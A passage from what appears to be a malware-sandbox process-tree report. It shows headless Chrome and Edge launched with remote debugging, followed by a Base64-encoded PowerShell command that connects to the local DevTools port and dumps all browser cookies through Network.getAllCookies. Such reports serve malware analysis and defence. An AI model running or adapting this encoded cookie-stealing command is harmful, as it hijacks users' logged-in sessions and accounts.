                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                PID:248
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffb530ec728,0x7ffb530ec734,0x7ffb530ec740
                                                                                                                                                  3⤵
                                                                                                                                                    PID:6496
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --subproc-heap-profiling --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2308,i,13964890065119556416,1363125063019474861,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:2
                                                                                                                                                    3⤵
                                                                                                                                                      PID:2128
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --subproc-heap-profiling --field-trial-handle=2308,i,13964890065119556416,1363125063019474861,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:11
                                                                                                                                                      3⤵
                                                                                                                                                      • System Time Discovery
                                                                                                                                                      PID:1512
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --subproc-heap-profiling --field-trial-handle=2308,i,13964890065119556416,1363125063019474861,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:13
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3952
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --no-sandbox --remote-debugging-port=9939 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2308,i,13964890065119556416,1363125063019474861,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2948 /prefetch:1
                                                                                                                                                        3⤵
                                                                                                                                                        • Uses browser remote debugging
                                                                                                                                                        PID:5364
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --no-sandbox --remote-debugging-port=9939 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2308,i,13964890065119556416,1363125063019474861,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2968 /prefetch:1
                                                                                                                                                        3⤵
                                                                                                                                                        • Uses browser remote debugging
                                                                                                                                                        PID:2584
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --no-sandbox --remote-debugging-port=9939 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=2308,i,13964890065119556416,1363125063019474861,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4076 /prefetch:1
                                                                                                                                                        3⤵
                                                                                                                                                        • Uses browser remote debugging
                                                                                                                                                        PID:6292
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --subproc-heap-profiling --field-trial-handle=2308,i,13964890065119556416,1363125063019474861,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4704 /prefetch:14
                                                                                                                                                        3⤵
                                                                                                                                                          PID:4484
                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9823 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                                                                                                                                                        2⤵
                                                                                                                                                        • Uses browser remote debugging
                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                        • Modifies registry class
                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                        PID:2284
                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x254,0x258,0x25c,0x250,0x27c,0x7ffb47d5c188,0x7ffb47d5c194,0x7ffb47d5c1a0
                                                                                                                                                          3⤵
                                                                                                                                                            PID:6528
                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2556,i,17635884693629487481,9477657102141556835,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2552 /prefetch:2
                                                                                                                                                            3⤵
                                                                                                                                                              PID:2940
                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2556,i,17635884693629487481,9477657102141556835,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2572 /prefetch:11
                                                                                                                                                              3⤵
                                                                                                                                                              • System Time Discovery
                                                                                                                                                              PID:1704
                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2556,i,17635884693629487481,9477657102141556835,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2564 /prefetch:13
                                                                                                                                                              3⤵
                                                                                                                                                                PID:6840
                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9823 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2556,i,17635884693629487481,9477657102141556835,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3376 /prefetch:1
                                                                                                                                                                3⤵
                                                                                                                                                                • Uses browser remote debugging
                                                                                                                                                                PID:3948
                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9823 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2556,i,17635884693629487481,9477657102141556835,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3380 /prefetch:1
                                                                                                                                                                3⤵
                                                                                                                                                                • Uses browser remote debugging
                                                                                                                                                                PID:3020
                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2556,i,17635884693629487481,9477657102141556835,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:14
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5388
                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2556,i,17635884693629487481,9477657102141556835,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:14
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:6332
                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2556,i,17635884693629487481,9477657102141556835,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:14
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5400
                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2556,i,17635884693629487481,9477657102141556835,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:14
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:5756
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADkAMwA5AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA5ADMAOQAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:2444
                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADkAMwA5AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9